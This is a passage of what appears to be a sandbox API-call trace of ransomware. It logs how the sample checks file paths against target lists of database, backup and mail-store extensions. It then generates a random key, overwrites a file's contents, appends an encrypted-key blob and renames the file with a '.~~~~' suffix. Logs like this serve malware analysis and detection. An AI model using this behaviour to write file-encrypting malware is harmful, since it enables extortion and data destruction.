	[0140.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".dbf") returned 0x0
	[0140.753] lstrlenW (lpString=".SQL") returned 4
	[0140.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".SQL") returned 0x0
	[0140.753] lstrlenW (lpString=".pst") returned 4
	[0140.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".pst") returned 0x0
	[0140.753] lstrlenW (lpString=".dbv") returned 4
	[0140.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".dbv") returned 0x0
	[0140.753] lstrlenW (lpString=".SDF") returned 4
	[0140.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".SDF") returned 0x0
	[0140.753] lstrlenW (lpString=".dtxs") returned 5
	[0140.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".dtxs") returned 0x0
	[0140.753] lstrlenW (lpString=".db3") returned 4
	[0140.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".db3") returned 0x0
	[0140.753] lstrlenW (lpString=".OST") returned 4
	[0140.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".OST") returned 0x0
	[0140.754] lstrlenW (lpString=".dbx") returned 4
	[0140.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".dbx") returned 0x0
	[0140.754] lstrlenW (lpString=".DB3") returned 4
	[0140.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".DB3") returned 0x0
	[0140.754] lstrlenW (lpString=".DAT") returned 4
	[0140.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".DAT") returned 0x0
	[0140.754] lstrlenW (lpString=".VHDX") returned 5
	[0140.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".VHDX") returned 0x0
	[0140.754] lstrlenW (lpString=".ndf") returned 4
	[0140.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".ndf") returned 0x0
	[0140.754] lstrlenW (lpString=".DB") returned 3
	[0140.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".DB") returned 0x0
	[0140.754] lstrlenW (lpString=".sql") returned 4
	[0140.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".sql") returned 0x0
	[0140.754] lstrlenW (lpString=".MYD") returned 4
	[0140.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".MYD") returned 0x0
	[0140.754] lstrlenW (lpString=".DBT") returned 4
	[0140.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".DBT") returned 0x0
	[0140.754] lstrlenW (lpString=".ACCDB") returned 6
	[0140.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.754] lstrlenW (lpString=".fdb") returned 4
	[0140.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".fdb") returned 0x0
	[0140.754] lstrlenW (lpString=".bak") returned 4
	[0140.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".bak") returned 0x0
	[0140.754] lstrlenW (lpString=".myd") returned 4
	[0140.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".myd") returned 0x0
	[0140.755] lstrlenW (lpString=".DTXS") returned 5
	[0140.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".DTXS") returned 0x0
	[0140.755] lstrlenW (lpString=".ckp") returned 4
	[0140.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".ckp") returned 0x0
	[0140.755] lstrlenW (lpString=".dbt") returned 4
	[0140.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".dbt") returned 0x0
	[0140.755] lstrlenW (lpString=".db") returned 3
	[0140.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".db") returned 0x0
	[0140.755] lstrlenW (lpString=".TXT") returned 4
	[0140.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".TXT") returned 0x0
	[0140.755] lstrlenW (lpString=".MDF") returned 4
	[0140.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".MDF") returned 0x0
	[0140.755] lstrlenW (lpString=".bdb") returned 4
	[0140.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".bdb") returned 0x0
	[0140.755] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0140.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0140.755] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0140.756] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0140.756] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0140.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0140.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0140.757] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26074701242) returned 1
	[0140.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbd4df190, dwHighDateTime=0x1d60e1e)) 
	[0140.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0140.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0140.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0140.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d0a0
	[0140.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d0a0 | out: hHeap=0x300000) returned 1
	[0140.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e8410
	[0140.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0d30
	[0140.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8410 | out: hHeap=0x300000) returned 1
	[0140.758] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0140.758] GetLastError () returned 0x0
	[0140.758] GetLastError () returned 0x0
	[0140.758] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0140.758] GetLastError () returned 0x0
	[0140.759] GetLastError () returned 0x0
	[0140.759] ReadFile (in: hFile=0xc4, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x1f8fec0*=0x838, lpOverlapped=0x0) returned 1
	[0140.763] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffff7c8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.763] WriteFile (in: hFile=0xc4, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x838, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x838, lpOverlapped=0x0) returned 1
	[0140.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0140.763] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.763] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.763] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.763] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.763] CloseHandle (hObject=0xc4) returned 1
	[0140.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e8410
	[0140.764] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir31b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir31b.gif.~~~~")) returned 1
	[0140.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8410 | out: hHeap=0x300000) returned 1
	[0140.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0140.766] GetLastError () returned 0x0
	[0140.766] RtlWakeConditionVariable () returned 0x0
	[0140.766] GetCurrentThreadId () returned 0xaf0
	[0140.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".scr") returned 0x0
	[0140.767] lstrlenW (lpString=".cmd") returned 4
	[0140.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".cmd") returned 0x0
	[0140.767] lstrlenW (lpString=".dll") returned 4
	[0140.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".dll") returned 0x0
	[0140.767] lstrlenW (lpString=".bat") returned 4
	[0140.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".bat") returned 0x0
	[0140.767] lstrlenW (lpString=".cpl") returned 4
	[0140.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".cpl") returned 0x0
	[0140.767] lstrlenW (lpString=".sys") returned 4
	[0140.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".sys") returned 0x0
	[0140.767] lstrlenW (lpString=".msc") returned 4
	[0140.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".msc") returned 0x0
	[0140.767] lstrlenW (lpString=".com") returned 4
	[0140.767] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".com") returned 0x0
	[0140.767] lstrlenW (lpString=".lnk") returned 4
	[0140.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".lnk") returned 0x0
	[0140.768] lstrlenW (lpString=".msp") returned 4
	[0140.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".msp") returned 0x0
	[0140.768] lstrlenW (lpString=".pif") returned 4
	[0140.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".pif") returned 0x0
	[0140.768] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.768] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.768] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir31f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0140.770] lstrlenW (lpString=".sqb") returned 4
	[0140.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".sqb") returned 0x0
	[0140.770] lstrlenW (lpString=".ost") returned 4
	[0140.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".ost") returned 0x0
	[0140.770] lstrlenW (lpString=".txt") returned 4
	[0140.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".txt") returned 0x0
	[0140.770] lstrlenW (lpString=".mdt") returned 4
	[0140.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".mdt") returned 0x0
	[0140.770] lstrlenW (lpString=".BDB") returned 4
	[0140.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".BDB") returned 0x0
	[0140.770] lstrlenW (lpString=".eql") returned 4
	[0140.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".eql") returned 0x0
	[0140.770] lstrlenW (lpString=".DBF") returned 4
	[0140.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".DBF") returned 0x0
	[0140.770] lstrlenW (lpString=".EQL") returned 4
	[0140.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".EQL") returned 0x0
	[0140.770] lstrlenW (lpString=".FDB") returned 4
	[0140.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".FDB") returned 0x0
	[0140.770] lstrlenW (lpString=".EDB") returned 4
	[0140.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".EDB") returned 0x0
	[0140.770] lstrlenW (lpString=".DACPAC") returned 7
	[0140.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.771] lstrlenW (lpString=".VHD") returned 4
	[0140.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".VHD") returned 0x0
	[0140.771] lstrlenW (lpString=".DBV") returned 4
	[0140.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".DBV") returned 0x0
	[0140.771] lstrlenW (lpString=".dacpac") returned 7
	[0140.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".dacpac") returned 0x0
	[0140.771] lstrlenW (lpString=".sdf") returned 4
	[0140.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".sdf") returned 0x0
	[0140.771] lstrlenW (lpString=".accdb") returned 6
	[0140.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".accdb") returned 0x0
	[0140.771] lstrlenW (lpString=".DBX") returned 4
	[0140.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".DBX") returned 0x0
	[0140.771] lstrlenW (lpString=".MDT") returned 4
	[0140.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".MDT") returned 0x0
	[0140.771] lstrlenW (lpString=".SQB") returned 4
	[0140.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".SQB") returned 0x0
	[0140.771] lstrlenW (lpString=".vhd") returned 4
	[0140.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".vhd") returned 0x0
	[0140.771] lstrlenW (lpString=".bac") returned 4
	[0140.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".bac") returned 0x0
	[0140.771] lstrlenW (lpString=".mdf") returned 4
	[0140.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".mdf") returned 0x0
	[0140.771] lstrlenW (lpString=".BAK") returned 4
	[0140.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".BAK") returned 0x0
	[0140.771] lstrlenW (lpString=".BAC") returned 4
	[0140.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".BAC") returned 0x0
	[0140.772] lstrlenW (lpString=".dbs") returned 4
	[0140.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".dbs") returned 0x0
	[0140.772] lstrlenW (lpString=".vhdx") returned 5
	[0140.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".vhdx") returned 0x0
	[0140.772] lstrlenW (lpString=".NDF") returned 4
	[0140.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".NDF") returned 0x0
	[0140.772] lstrlenW (lpString=".dat") returned 4
	[0140.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".dat") returned 0x0
	[0140.772] lstrlenW (lpString=".DBS") returned 4
	[0140.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".DBS") returned 0x0
	[0140.772] lstrlenW (lpString=".CKP") returned 4
	[0140.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".CKP") returned 0x0
	[0140.772] lstrlenW (lpString=".edb") returned 4
	[0140.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".edb") returned 0x0
	[0140.772] lstrlenW (lpString=".PST") returned 4
	[0140.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".PST") returned 0x0
	[0140.772] lstrlenW (lpString=".dbf") returned 4
	[0140.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".dbf") returned 0x0
	[0140.772] lstrlenW (lpString=".SQL") returned 4
	[0140.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".SQL") returned 0x0
	[0140.772] lstrlenW (lpString=".pst") returned 4
	[0140.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".pst") returned 0x0
	[0140.772] lstrlenW (lpString=".dbv") returned 4
	[0140.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".dbv") returned 0x0
	[0140.773] lstrlenW (lpString=".SDF") returned 4
	[0140.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".SDF") returned 0x0
	[0140.773] lstrlenW (lpString=".dtxs") returned 5
	[0140.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".dtxs") returned 0x0
	[0140.773] lstrlenW (lpString=".db3") returned 4
	[0140.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".db3") returned 0x0
	[0140.773] lstrlenW (lpString=".OST") returned 4
	[0140.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".OST") returned 0x0
	[0140.773] lstrlenW (lpString=".dbx") returned 4
	[0140.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".dbx") returned 0x0
	[0140.773] lstrlenW (lpString=".DB3") returned 4
	[0140.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".DB3") returned 0x0
	[0140.773] lstrlenW (lpString=".DAT") returned 4
	[0140.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".DAT") returned 0x0
	[0140.773] lstrlenW (lpString=".VHDX") returned 5
	[0140.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".VHDX") returned 0x0
	[0140.773] lstrlenW (lpString=".ndf") returned 4
	[0140.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".ndf") returned 0x0
	[0140.773] lstrlenW (lpString=".DB") returned 3
	[0140.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".DB") returned 0x0
	[0140.773] lstrlenW (lpString=".sql") returned 4
	[0140.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".sql") returned 0x0
	[0140.773] lstrlenW (lpString=".MYD") returned 4
	[0140.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".MYD") returned 0x0
	[0140.773] lstrlenW (lpString=".DBT") returned 4
	[0140.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".DBT") returned 0x0
	[0140.773] lstrlenW (lpString=".ACCDB") returned 6
	[0140.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.774] lstrlenW (lpString=".fdb") returned 4
	[0140.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".fdb") returned 0x0
	[0140.774] lstrlenW (lpString=".bak") returned 4
	[0140.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF", lpSrch=".bak") returned 0x0
	[0140.774] lstrlenW (lpString=".myd") returned 4
